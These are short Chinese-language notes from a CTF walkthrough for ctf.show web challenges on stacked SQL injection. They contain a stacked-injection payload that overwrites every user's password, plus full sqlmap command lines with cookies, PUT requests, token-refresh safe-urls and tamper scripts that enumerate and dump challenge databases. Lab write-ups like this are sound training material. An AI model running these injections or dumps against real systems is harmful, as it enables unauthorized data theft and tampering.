堆疊注入

修改密碼

0;update`ctfshow_user`set`pass`=1;

sqlmap!

加上Content-Type

python sqlmap.py -u "http://3ab9b1ae-c170-40ff-af42-ad033c60ce68.challenge.ctf.show/api/index.php" --referer="http://3ab9b1ae-c170-40ff-af42-ad033c60ce68.challenge.ctf.show/sqlmap.php" --user-agent="sqlmap" --method=PUT --data="id=1" --header="Content-Type:plain/text" -D "ctfshow_web" -T "ctfshow_user" --dump
 

加上Cookie

python sqlmap.py -u "http://017da1d4-5a01-4fcd-8324-47eadbc8fed8.challenge.ctf.show/api/index.php" --cookie="UM_distinctid=17f8dc066e5110a-0a79e2943123cb-977173c-1fa400-17f8dc066e61408;PHPSESSID=da5hb4a6u61on4t4lhffegge1k;ctfshow=44256962b9536d9df3dc866f7ee2280d" --referer="ctf.show" --user-agent="sqlmap" --data="id=1" --dbs
 

加上許可權鑑別

python sqlmap.py -u "http://79733793-f03e-4d3a-b82b-db5ee53ef35c.challenge.ctf.show/api/index.php" --safe-url="http://79733793-f03e-4d3a-b82b-db5ee53ef35c.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=j9f8jf9tfmhigi2vd4c0mfsr17" --user-agent="sqlmap" --referer="ctf.show" --data="id=1" --method="PUT" --header="Content-Type:plain/text" --dbs
 

簡單外掛編寫

python sqlmap.py -u "http://4480449f-c1fb-47ab-a2a4-f244b02da199.challenge.ctf.show/api/index.php" --data="id=1" --safe-url="http://4480449f-c1fb-47ab-a2a4-f244b02da199.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="space.py,208.py" --cookie="PHPSESSID=9k8plr4bg5iv6o5rf8pcv951s2" --referer="ctf.show" --method="PUT" --header="Content-Type:plain/text" -D "ctfshow_web" -T "ctfshow_flaxca" --dump